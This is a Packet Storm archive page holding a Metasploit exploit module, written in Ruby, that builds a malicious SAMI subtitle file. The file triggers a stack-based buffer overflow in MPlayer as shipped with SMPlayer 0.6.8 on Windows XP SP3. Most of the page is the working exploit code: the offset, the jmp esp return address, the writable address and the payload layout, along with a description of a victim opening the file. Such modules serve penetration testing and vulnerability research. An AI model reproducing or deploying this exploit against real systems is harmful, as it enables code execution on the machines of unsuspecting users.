what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MPlayer SAMI Subtitle File Buffer Overflow

MPlayer SAMI Subtitle File Buffer Overflow
Posted May 29, 2012
Authored by juan vazquez, Jacques Louw | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow found in the handling of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer. The overflow is triggered when an unsuspecting victim opens a movie file first, followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also be done from the console with the mplayer "-sub" option.

tags | exploit, overflow
advisories | OSVDB-74604
SHA-256 | ff773c1737c09b314a58cb07dab372f6b99f077dc26dbd42fd59a36e56c907a7

MPlayer SAMI Subtitle File Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow found in the handling
of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

The overflow is triggered when an unsuspecting victim opens a movie file first,
followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
be done from the console with the mplayer "-sub" option.
},
'License' => MSF_LICENSE,
'Author' => [
'Jacques Louw', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'BID', '49149' ],
[ 'OSVDB', '74604' ],
[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
},
'Platform' => 'win',
'Targets' =>
[
[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
{
'Offset' => 1033,
'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 19 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),
], self.class)
end

# Split the subtitle to avoid mplayer complaining
# about the line max length
def sami_encode(s)
r = ""
i = 0
while i < s.length
r << s[i, 32]
r << "\n"
i += 32
end
r
end

def exploit

sploit = rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << "\xeb\x06" # jmp short 0x8
sploit << rand_text(2)
sploit << [target['WritableAddress']].pack("V")
sploit << payload.encoded

sami = "<SAMI>\n"
sami << "<BODY>\n"
sami << "<SYNC Start=100550>\n"
sami << sami_encode(sploit)
sami << "</SYNC>\n"
sami << "</BODY>\n"
sami << "</SAMI>\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sami)
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close